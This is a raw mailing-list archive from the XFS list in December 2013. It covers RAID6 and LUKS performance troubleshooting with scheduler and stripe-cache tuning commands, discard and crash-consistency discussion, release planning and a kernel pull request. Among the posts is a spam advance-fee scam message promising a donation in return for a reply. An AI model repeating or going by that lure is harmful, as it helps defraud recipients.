[192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id B7A976C121; Thu, 19 Dec 2013 08:11:34 -0600 (CST) Message-ID: <52B2FE9E.50307@hardwarefreak.com> Date: Thu, 19 Dec 2013 08:11:42 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs@pzystorm.de, xfs@oss.sgi.com Subject: Re: XFS blocked task in xlog_cil_force_lsn References: <52B102FF.8040404@pzystorm.de> <52B118A9.8080905@hardwarefreak.com> <52B178AA.6040302@pzystorm.de> X-ASG-Orig-Subj: Re: XFS blocked task in xlog_cil_force_lsn In-Reply-To: <52B178AA.6040302@pzystorm.de> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1387462295 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 12/18/2013 4:27 AM, Kevin Richter wrote: > Thanks for your mails! > >> This is unusual. How long have you waited? > > For the reboot? One night. > After the copy process hangs: several hours. But mostly it recovers > after several minutes. > >> 1. Switch to deadline. CFQ is not suitable for RAID storage, and not >> suitable for XFS. This may not be a silver bullet but it will help. > > Can I switch it while my copy process (from a separate hd to this raid) > is running... without data loss? Otherwise I would wait a bit, because > now it is actually running for 8 hours without kernel panics. Yes, you can safely change the elevator on the fly. Repeat the following once for each disk, replacing X appropriately. $ echo deadline > /sys/block/sdX/queue/scheduler This on the fly change is not permanent. Add "elevator=deadline" to your kernel command line in your bootloader config file. Or you can add the commands to a startup script. Or if you build your own kernels simply make it the default, and/or remove all the other elevators from your kernel config, which is what I do. >> 2. Post your chunk size and RAID6 stripe_cache_size value. They may be >> sub optimal for your workload. > > $ cat /sys/block/md2/md/stripe_cache_size > 256 256 is the default and it is way too low. This is limiting your write througput. Increase this to a minimum of 1024 which will give you a 20MB stripe cache buffer. This should become active immediately. Add it to a startup script to make it permanent. $ echo 1024 > /sys/block/md2/md/stripe_cache_size ((4096*stripe-cache_size)*num_drives)= RAM consumed for stripe cache At some future point when the system is idle, play with FIO write testing and multiple jobs (threads) with stripe_cache_size values up to 2048 to see which value gives the best throughput. Test 1024, 2048, 4096. Going higher probably won't gain anything. And at some point as you go higher your throughput will decrease. When you see that, select the previous value and make it permanent. > $ mdadm --detail /dev/md2 | grep Chunk > Chunk Size : 512K > >> 3. Post 'xfs_info /dev/mdX' > > There is a LUKS volume around /dev/md2, named '6tb'. Ok, this adds a huge fly to the ointment. LUKS is single threaded per device. You've encrypted the md device instead of the individual disks. This limits your encryption throughput to a single CPU core. You've not provided any data on your LUKS thread. Is it pegging a core during large file IO? I'd bet it is. That would explain all of this. >> $ xfs_info /dev/md2 >> xfs_info: /dev/md2 is not a mounted XFS filesystem >> $ xfs_info /dev/mapper/6tb >> meta-data=/dev/mapper/6tb isize=256 agcount=32, agsize=45631360 blks >> = sectsz=512 attr=2 >> data = bsize=4096 blocks=1460203520, imaxpct=5 >> = sunit=128 swidth=384 blks >> naming =version 2 bsize=4096 ascii-ci=0 >> log =internal bsize=4096 blocks=521728, version=2 >> = sectsz=512 sunit=8 blks, lazy-count=1 >> realtime =none extsz=4096 blocks=0, rtextents=0 md2 is 5 spindle RAID6, geometry 512KB * 3 = 1.5MB stripe width. The XFS alignment matches the md device. This may be hurting you with LUKS between XFS and md. I don't know how LUKS handles 1.5MB inbound writes and if it passes an aligned write to md after encrypting. I also don't know how it handles writes barriers passed down the stack by XFS, or if it does at all. >> 4. You're getting a lot of kswapd timeouts because you have swap and >> the md/RAID6 array on the same disks. Relocate swap to disks that are >> not part of this RAID6. Small SSDs are cheap and fast. Buy one and put >> swap on it. Or install more RAM in the machine. Going the SSD route is >> better as it gives flexibility. For instance, you can also relocate >> your syslog files to it and anything else that does IO without eating >> lots of space. This decreases the IOPS load on your rust. > > No no, swap is not on any of the raid disks. > >> # cat /proc/swaps >> Filename Type Size Used Priority >> /dev/sda3 partition 7812496 0 -1 > sda is not in the raid. In the raid there are sd[cdefg]. I was wrong here. After reading a little about kswapd I now know it doesn't simply move pages to/from disk. It frees memory in other ways as well. In this case it's apparently waiting to free an inode being reclaimed by xfs_reclaim_inode, which is stalled on lower level IO. So kswapd times out as a result. A slow LUKS thread would explain this as well. >> 5. Describe in some detail the workload(s) causing the heavy IO, and >> thus these timeouts. > > cd /olddharddisk > cp -av . /raid/ > > oldhardddisk is a mounted 1tb old harddisk, /raid is the 6tb raid from > above. So you are simply doing a huge file copy from an apparently slower single disk to an apparently faster striped RAID. But you get horrible throughput and kernel timeout errors, and the RAID disks are apparently fairly idle. > Heavy workload while this copy process (2 CPUs, each 4 cores): Model # of the CPUs so I can look up the specs? >> top - 11:13:37 up 4 days, 21:32, 2 users, load average: 12.95, 11.33, 10.32 >> Tasks: 155 total, 2 running, 153 sleeping, 0 stopped, 0 zombie >> Cpu(s): 0.0%us, 5.7%sy, 0.0%ni, 82.1%id, 11.8%wa, 0.0%hi, 0.3%si, 0.0%st >> Mem: 32916276k total, 32750240k used, 166036k free, 10076760k buffers >> Swap: 7812496k total, 0k used, 7812496k free, 21221136k cached >> >> PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND >> 699 root 20 0 0 0 0 S 11 0.0 248:17.59 md2_raid6 > > Dont know what consumes all of this 32GB RAM... 'top' sorted by memory > consumption does not tell me. All entries are only 0.0% and 0.1% ~30GB of your RAM is being eaten by filesystem metadata buffers (10GB) and page cache (20GB). Linux uses nearly all free memory for cache and buffers to prevent disk accesses, which speeds up access to frequently used data considerably. This is normal. A huge copy like this is going to cause a huge amount caching. I assume this 1TB file copy has finally completed. Start another large test copy and paste the CPU burn for the LUKS thread so we can confirm whether this is the root cause of your problem. -- Stan > > > > Thanks, > Kevin > > > > > Am 18.12.2013 04:38, schrieb Stan Hoeppner: >> On 12/17/2013 8:05 PM, Kevin Richter wrote: >>> Hi, >>> >>> around April 2012 there was a similar thread on this list which I have >>> found via Google, so my mail topic is the same. >>> >>> I have a RAID6 array with 5 disks (each 2TB, net: 6TB). While copying >>> under heavy load there are always these blocks. At the bottom of this >>> message I have included some line from the syslog. >>> >>> Even a reboot is now not possible anymore, because the whole system >>> hangs while executing the "sync" command in one of the shutdown scripts. >>> >>> So... first I have thought that my disks are faulty. >>> But with smartmontools I have started a short and a long test on all of >>> the 5 disks: no errors >>> >>> Then I have even recreated the whole array, but no improvement. >>> >>> Details about my server: 3.2.0-57-generic, Ubuntu 12.04.3 LTS >>> Details about the array: soft array with mdadm v3.2.5, no hardware raid >>> controller in the server >>> >>> The scheduler of the raid disks: >>>> $ cat /sys/block/sd[cdefg]/queue/scheduler >>>> noop deadline [cfq] >>>> noop deadline [cfq] >>>> noop deadline [cfq] >>>> noop deadline [cfq] >>>> noop deadline [cfq] >>> >>> >>> Any ideas what I can do? >> >> Your workload is seeking the disks to death, which is why you're getting >> these timeouts. The actuators simply can't keep up. >> >> 1. Switch to deadline. CFQ is not suitable for RAID storage, and not >> suitable for XFS. This may not be a silver bullet but it will help. >> >> 2. Post your chunk size and RAID6 stripe_cache_size value. They may be >> sub optimal for your workload. For the latter >> >> $ cat /sys/block/mdX/md/stripe_cache_size >> >> 3. Post 'xfs_info /dev/mdX' >> >> 4. You're getting a lot of kswapd timeouts because you have swap and >> the md/RAID6 array on the same disks. Relocate swap to disks that are >> not part of this RAID6. Small SSDs are cheap and fast. Buy one and put >> swap on it. Or install more RAM in the machine. Going the SSD route is >> better as it gives flexibility. For instance, you can also relocate >> your syslog files to it and anything else that does IO without eating >> lots of space. This decreases the IOPS load on your rust. >> >> 5. Describe in some detail the workload(s) causing the heavy IO, and >> thus these timeouts. >> > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From noreply@glassandroofs.com Thu Dec 19 08:55:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5CFAA7F3F for ; Thu, 19 Dec 2013 08:55:23 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id E5A95AC001 for ; Thu, 19 Dec 2013 06:55:19 -0800 (PST) X-ASG-Debug-ID: 1387464917-04cbb0416883adf0001-w1Z2WR Received: from glassandroofs.com (188-220-141-78.zone11.bethere.co.uk [188.220.141.78]) by cuda.sgi.com with ESMTP id 3PMjUQKKzS215ptx for ; Thu, 19 Dec 2013 06:55:18 -0800 (PST) X-Barracuda-Envelope-From: noreply@glassandroofs.com X-Barracuda-Apparent-Source-IP: 188.220.141.78 Received: from glassandroofs.com by glassandroofs.com (via RAW) (MDaemon Standard v10.1.1) for ; Thu, 19 Dec 2013 14:53:27 +0000 Date: Thu, 19 Dec 2013 14:53:27 +0000 From: undeliverable@glassandroofs.com Reply-To: undeliverable@glassandroofs.com Subject: =?UTF-8?B?IEZTIEFnZW50DQ==?= To: linux-xfs@oss.sgi.com X-ASG-Orig-Subj: =?UTF-8?B?IEZTIEFnZW50DQ==?= X-MDaemon-Deliver-To: linux-xfs@oss.sgi.com Message-ID: Mime-Version: 1.0 X-Actual-From: undeliverable@glassandroofs.com X-Return-Path: Content-Type: text/plain; charset=iso-8859-1 X-Barracuda-Connect: 188-220-141-78.zone11.bethere.co.uk[188.220.141.78] X-Barracuda-Start-Time: 1387464917 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, NO_REAL_NAME, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143224 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 This email has not been received by your intended recipient. Please call 01933 443658 for further information. Thank you. From hwalks@travinh.gov.vn Thu Dec 19 09:18:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.1 required=5.0 tests=HDRS_LCASE,T_MANY_HDRS_LCASE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DB5047F3F for ; Thu, 19 Dec 2013 09:18:41 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id C4ADA8F804C for ; Thu, 19 Dec 2013 07:18:37 -0800 (PST) X-ASG-Debug-ID: 1387466310-04cbb0416983bc20001-NocioJ Received: from smtp4.neuquen.gov.ar (smtp2.neuquen.gov.ar [200.5.125.229]) by cuda.sgi.com with ESMTP id FtoL2meHxOsVr8AA for ; Thu, 19 Dec 2013 07:18:31 -0800 (PST) X-Barracuda-Envelope-From: hwalks@travinh.gov.vn X-Barracuda-Apparent-Source-IP: 200.5.125.229 X-AuditID: c0a81418-f79826d000000fad-5c-52b3073a01fa Received: from bl10.neuquen.gov.ar (Unknown_Domain [192.168.20.70]) by smtp4.neuquen.gov.ar (Symantec Messaging Gateway) with SMTP id 9F.8D.04013.A3703B25; Thu, 19 Dec 2013 11:48:26 -0300 (ART) MIME-version: 1.0 Content-transfer-encoding: 7BIT Content-type: text/plain; CHARSET=US-ASCII Received: from [41.138.178.205] ([unknown] [88.255.149.195]) by mail.neuquen.gov.ar (Sun Java(tm) System Messaging Server 7.3-11.01 64bit (built Sep 1 2009)) with ESMTPSA id <0MY20010J0C5XJ00@mail.neuquen.gov.ar> for xfs@oss.sgi.com; Thu, 19 Dec 2013 11:25:37 -0300 (GMT) Message-id: <0MY2001W75DPXJ10@mail.neuquen.gov.ar> Content-description: Mail message body Subject: Your Response... To: "user@localhost.com" X-ASG-Orig-Subj: Your Response... From: Heather Walker Date: Thu, 19 Dec 2013 09:47:13 -0500 Reply-To: hwalks00@blumail.org X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFvrKIsWRmVeSWpSXmKPExsVyYIWIm64V++Ygg4NH2C0W9d1idGD0WH1h K2MAYxSXTUpqTmZZapG+XQJXxvv7XAWXGCvWtOc0MK5k7GLk5JAQMJF4+m0OM4QtJnHh3nq2 LkYuDiGBw4wShw9dYQNJ8AoISvyYfI+li5GDg1lAXuLgeVmQMLOAlsT3R60sEPUzmCSWPfnA BFFvJPF61xpGiCI1iWON58DmCAtISmzce4oVxBYRMJC4NauBBcRmE9CRmPCjBayGRUBVYt3m XjBbSEBO4s3d/ywTGPlmITljFsIZs5CcMQvJtgWMLKsYRYpzSwpM9PJSSwtLU/P00vPL9BKL NjFCQkxiB2PLS8NDjAIcjEo8vDcOrAoSYk0sK67MPcQoycGkJMo7iWFzkBBfUn5KZUZicUZ8 UWlOavEhRgkOZiURXiVWoBxvSmJlVWpRPkxKmoNFSZz34sIpQUIC6YklqdmpqQWpRTBZGQ4O JQleFjagRsGi1PTUirTMnBKENBMHJ8hwHqDhemDDiwsSc4sz0yHypxh9Of6c+PSNkePXGRC5 4DyInPIKRM4AkUIsefl5qVLivKdAmgVAmjNK8+Dmg1KJZtemsyA64v/Uw68YxYHeFuZ9AFLN A0xLcJteAR3BBHSE8dpNIEeUJCKkpBoY7fUP+rfM/aFc8sQxw2ObaLNVak00Y2BC0nW2+Aed myxkvkTs3ffSaf+5GOneKQrHiw3bKra937Noxdcljn/quzuyXBj7zh31fbt809VJXtri018d 64sO4tcuf/XRyPGS1MnevV11/0O+zHg66YTiitPvf6y4eLh7prjGhD1Ppt+x2+oouMC6W4ml OCPRUIu5qDgRAIEwgdEIAwAA X-Barracuda-Connect: smtp2.neuquen.gov.ar[200.5.125.229] X-Barracuda-Start-Time: 1387466311 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.70 X-Barracuda-Spam-Status: No, SCORE=0.70 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC0_SA_TO_FROM_ADDR_MATCH, BSF_SC7_SA298e, INVALID_TZ_GMT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143225 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 INVALID_TZ_GMT Invalid date in header (wrong GMT/UTC timezone) 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.50 BSF_SC0_SA_TO_FROM_ADDR_MATCH Sender Address Matches Recipient Address 0.20 BSF_SC7_SA298e Custom Rule SA298e I am Heather Walker,I am at the end of the road, and about to donate a huge amount through you. I promise that your assistance would be rewarded. Please reply back to me for more information. Remain Blessed From rjohnston@sgi.com Thu Dec 19 11:29:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 54CF97F3F for ; Thu, 19 Dec 2013 11:29:04 -0600 (CST) Received: from xmail.sgi.com (pv-excas2-dc21.corp.sgi.com [137.38.106.9]) by relay3.corp.sgi.com (Postfix) with ESMTP id D7122AC00D for ; Thu, 19 Dec 2013 09:29:00 -0800 (PST) Received: from [128.162.233.55] (128.162.233.55) by xmail.sgi.com (137.38.106.6) with Microsoft SMTP Server (TLS) id 14.3.123.3; Thu, 19 Dec 2013 11:28:59 -0600 Message-ID: <52B32CE0.5070701@sgi.com> Date: Thu, 19 Dec 2013 11:29:04 -0600 From: Rich Johnston User-Agent: Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20100101 Thunderbird/24.1.1 MIME-Version: 1.0 To: xfs-oss Subject: Re: [RFC] Userspace and xfstests releases References: <52B06E51.1020504@sgi.com> In-Reply-To: <52B06E51.1020504@sgi.com> Content-Type: text/plain; charset="ISO-8859-1"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [128.162.233.55] On 12/17/2013 09:31 AM, Rich Johnston wrote: > I was planning on a xfsdump and xfstests release this week before I go > on vacation. Any objections? Currently xfstests is not released, should this be changed? I will wait until I return on Jan 2 to release xfsprogs. > > Release versions for xfsprogs are still being discussed. Are there any > more comments on this subject? Here is one of the threads discussing this. http://oss.sgi.com/archives/xfs/2013-10/msg00421.html Christoph were you saying you create xfsprogs branches? Is there a consensus on version names/branches for xfsprogs? From alex@zadarastorage.com Thu Dec 19 13:24:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.9 required=5.0 tests=STOX_REPLY_TYPE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A0F977F3F for ; Thu, 19 Dec 2013 13:24:44 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 748F08F8071 for ; Thu, 19 Dec 2013 11:24:41 -0800 (PST) X-ASG-Debug-ID: 1387481075-04bdf00fe01248d0001-NocioJ Received: from mail-ee0-f49.google.com (mail-ee0-f49.google.com [74.125.83.49]) by cuda.sgi.com with ESMTP id iff3XGZU1SQmiSfw (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 19 Dec 2013 11:24:36 -0800 (PST) X-Barracuda-Envelope-From: alex@zadarastorage.com X-Barracuda-Apparent-Source-IP: 74.125.83.49 Received: by mail-ee0-f49.google.com with SMTP id c41so643169eek.36 for ; Thu, 19 Dec 2013 11:24:35 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:message-id:from:to:cc:references:in-reply-to :subject:date:mime-version:content-type:content-transfer-encoding :importance; bh=k8e1jS9Vv1l+l8lMgZtjhBFovkmyiGpxp6rgt5mFPxM=; b=YcOhQlundAPD/Uf+gUwSC/WYCudtg0dqkcFPz0wwh9FcfoxKTqlkmJy+ItLxHgg+X2 D50ZxuwZKv/Vnq8oZvadqh+5ZACn0hPnGaYWxLm8OaYhhGEiIjmuQO3mlq6MetHVCyG/ VFtSYB4cEhPrdA3oWl0yolGUvm8swvo30xuTcfACIW6viulhqKLndfQ/5VZTiyTFA54c ul+4KeRQcc9oAjrwKqoiTdCB+q/SEe3s9VJ6HJlQA6DWkoWucED2jwmUVabqmJPGfooN cGQGMPZx09MA2VRkAQwLaZ68YJtKchF25o1Xz3afmzGgNU4VwmbbcbFlSIApK89C5IYu ArAA== X-Gm-Message-State: ALoCoQmbZkUESYrRXx7OLN7uLRiHiFFReY3L7qUGgvW5DLLdUAj2g6DOHyLWYqOJm200nyo7Fsy3 X-Received: by 10.15.95.72 with SMTP id bc48mr67948eeb.49.1387481075072; Thu, 19 Dec 2013 11:24:35 -0800 (PST) Received: from alyakaslap ([212.143.144.103]) by mx.google.com with ESMTPSA id e43sm11989684eep.7.2013.12.19.11.24.33 for (version=TLSv1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Thu, 19 Dec 2013 11:24:34 -0800 (PST) Message-ID: <31B8E1DCCA4F45918621D6461ED19B19@alyakaslap> From: "Alex Lyakas" To: "Dave Chinner" Cc: References: <20131218230615.GQ31386@dastard> <78FC295EC7FF48C987266DC48B183930@alyakaslap> <20131219105513.GZ31386@dastard> In-Reply-To: <20131219105513.GZ31386@dastard> Subject: Re: Questions about XFS discard and xfs_free_extent() code (newbie) Date: Thu, 19 Dec 2013 21:24:40 +0200 X-ASG-Orig-Subj: Re: Questions about XFS discard and xfs_free_extent() code (newbie) MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal Importance: Normal X-Mailer: Microsoft Windows Live Mail 15.4.3555.308 X-MimeOLE: Produced By Microsoft MimeOLE V15.4.3555.308 X-Barracuda-Connect: mail-ee0-f49.google.com[74.125.83.49] X-Barracuda-Start-Time: 1387481076 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, STOX_REPLY_TYPE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143232 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 STOX_REPLY_TYPE STOX_REPLY_TYPE 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Hi Dave, It makes sense. I agree it might break some guarantees. Although if the user deleted some blocks in the file or the whole file, maybe it's ok to not have a clear promise what he sees after the crash. But I agree, it's not a clear semantics. Thanks for the comments, Alex. -----Original Message----- From: Dave Chinner Sent: 19 December, 2013 12:55 PM To: Alex Lyakas Cc: xfs@oss.sgi.com Subject: Re: Questions about XFS discard and xfs_free_extent() code (newbie) On Thu, Dec 19, 2013 at 11:24:15AM +0200, Alex Lyakas wrote: > Hi Dave, > Thank you for your comments. > I realize now that what I proposed cannot be done; I need to > understand deeper how XFS transactions work (unfortunately, the > awesome "XFS Filesystem Structure" doc has a TODO in the "Journaling > Log" section). > > Can you please comment on one more question: > Let's say we had such fully asynchronous "fire-and-forget" discard > operation (I can implement one myself for my block-device via a > custom IOCTL). What is wrong if we trigger such operation in > xfs_free_ag_extent(), right after we have merged the freed extent > into a bigger one? I understand that the extent-free-intent is not > yet committed to the log at this point. But from the user's point of > view, the extent has been deleted, no? So if the underlying block > device discards the merged extent right away, before committing to > the log, what issues this can cause? Think of what happens when a crash occurs immediately after the discard completes. The freeing of the extent never made it to th elog, so after recovery, the file still exists and the user can access it. Except that it's contents are now all different to before the crash occurred. IOWs, issuing the discard before the transaction that frees the extent is on stable storage means we are discarding user data or metadata before we've guaranteed that the extent free transaction is permanent and that means we violate certain guarantees with respect to crash recovery... Cheers, Dave. -- Dave Chinner david@fromorbit.com From bpm@sgi.com Thu Dec 19 13:33:15 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 47EF429DF8 for ; Thu, 19 Dec 2013 13:33:15 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2E99930408D; Thu, 19 Dec 2013 11:33:15 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 003714266DC; Thu, 19 Dec 2013 13:33:14 -0600 (CST) Date: Thu, 19 Dec 2013 13:33:14 -0600 From: Ben Myers To: Rich Johnston Cc: xfs-oss Subject: Re: [RFC] Userspace and xfstests releases Message-ID: <20131219193314.GX1935@sgi.com> References: <52B06E51.1020504@sgi.com> <52B32CE0.5070701@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52B32CE0.5070701@sgi.com> User-Agent: Mutt/1.5.20 (2009-06-14) Hey Rich, On Thu, Dec 19, 2013 at 11:29:04AM -0600, Rich Johnston wrote: > On 12/17/2013 09:31 AM, Rich Johnston wrote: > >I was planning on a xfsdump and xfstests release this week before I go > >on vacation. Any objections? > Currently xfstests is not released, should this be changed? > > I will wait until I return on Jan 2 to release xfsprogs. > > > > >Release versions for xfsprogs are still being discussed. Are there any > >more comments on this subject? > Here is one of the threads discussing this. > > http://oss.sgi.com/archives/xfs/2013-10/msg00421.html > Christoph were you saying you create xfsprogs branches? > > Is there a consensus on version names/branches for xfsprogs? I suggest a branch directly off of 3.1.11 release, and then we can troll the log between refs/tags/3.1.11 and master for bugfixes. e.g. git checkout -b for-3.1.12 refs/tags/3.1.11 And then push it up to oss. Just my 2c. Regards, Ben From bpm@sgi.com Thu Dec 19 15:26:01 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 8B82729DF8 for ; Thu, 19 Dec 2013 15:26:01 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id 27FCB8F8092; Thu, 19 Dec 2013 13:25:58 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id EDAB14266AC; Thu, 19 Dec 2013 15:25:57 -0600 (CST) To: torvalds@linux-foundation.org Subject: [GIT PULL] XFS bugfixes for 3.13-rc5 Cc: akpm@linux-foundation.org, linux-kernel@vger.kernel.org, xfs@oss.sgi.com Message-Id: <20131219212557.EDAB14266AC@whiskey.americas.sgi.com> Date: Thu, 19 Dec 2013 15:25:57 -0600 (CST) From: bpm@sgi.com (Ben Myers) Hi Linus, Please pull these fixes for XFS. This contains fixes for some asserts related to project quotas, a memory leak, a hang when disabling group or project quotas before disabling user quotas, Dave's email address, several fixes for the alignment of file allocation to stripe unit/width geometry, a fix for an assertion with xfs_zero_remaining_bytes, and the behavior of metadata writeback in the face of IO errors. Thanks, Ben The following changes since commit f94c44573e7c22860e2c3dfe349c45f72ba35ad3: xfs: growfs overruns AGFL buffer on V4 filesystems (2013-12-10 10:04:27 -0600) are available in the git repository at: git://oss.sgi.com/xfs/xfs.git tags/xfs-for-linus-v3.13-rc5 for you to fetch changes up to ac8809f9ab01a73de1a47b5a37bd8dcca8712fb3: xfs: abort metadata writeback on permanent errors (2013-12-17 09:40:23 -0600) ---------------------------------------------------------------- xfs: bugfixes for 3.13-rc5 - fix memory leak in xfs_dir2_node_removename - fix quota assertion in xfs_setattr_size - fix quota assertions in xfs_qm_vop_create_dqattach - fix for hang when disabling group and project quotas before disabling user quotas - fix Dave Chinner's email address in MAINTAINERS - fix for file allocation alignment - fix for assertion in xfs_buf_stale by removing xfsbdstrat - fix for alignment with swalloc mount option - fix for "retry forever" semantics on IO errors ---------------------------------------------------------------- Christoph Hellwig (1): xfs: remove xfsbdstrat error Dave Chinner (3): xfs: align initial file allocations correctly xfs: swalloc doesn't align allocations properly xfs: abort metadata writeback on permanent errors Jie Liu (3): xfs: fix false assertion at xfs_qm_vop_create_dqattach xfs: fix assertion failure at xfs_setattr_nonsize xfs: fix infinite loop by detaching the group/project hints from user dquot Mark Tinguely (1): xfs: fix memory leak in xfs_dir2_node_removename Namjae Jeon (1): MAINTAINERS: fix incorrect mail address of XFS maintainer MAINTAINERS | 2 +- fs/xfs/xfs_bmap.c | 32 ++++++++++++++----- fs/xfs/xfs_bmap_util.c | 14 +++++++-- fs/xfs/xfs_buf.c | 37 +++++++++------------- fs/xfs/xfs_buf.h | 11 ++++--- fs/xfs/xfs_buf_item.c | 21 +++++++++++-- fs/xfs/xfs_dir2_node.c | 26 ++++++++-------- fs/xfs/xfs_iops.c | 3 +- fs/xfs/xfs_log_recover.c | 13 ++++++-- fs/xfs/xfs_qm.c | 80 ++++++++++++++++++++++++++++++++---------------- fs/xfs/xfs_trans_buf.c | 13 +++++++- 11 files changed, 168 insertions(+), 84 deletions(-) From vothimyhanh1991@gmail.com Thu Dec 19 15:44:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.3 required=5.0 tests=DEAR_SOMETHING, FREEMAIL_ENVFROM_END_DIGIT,FREEMAIL_FROM,FREEMAIL_REPLYTO,HTML_MESSAGE, T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: 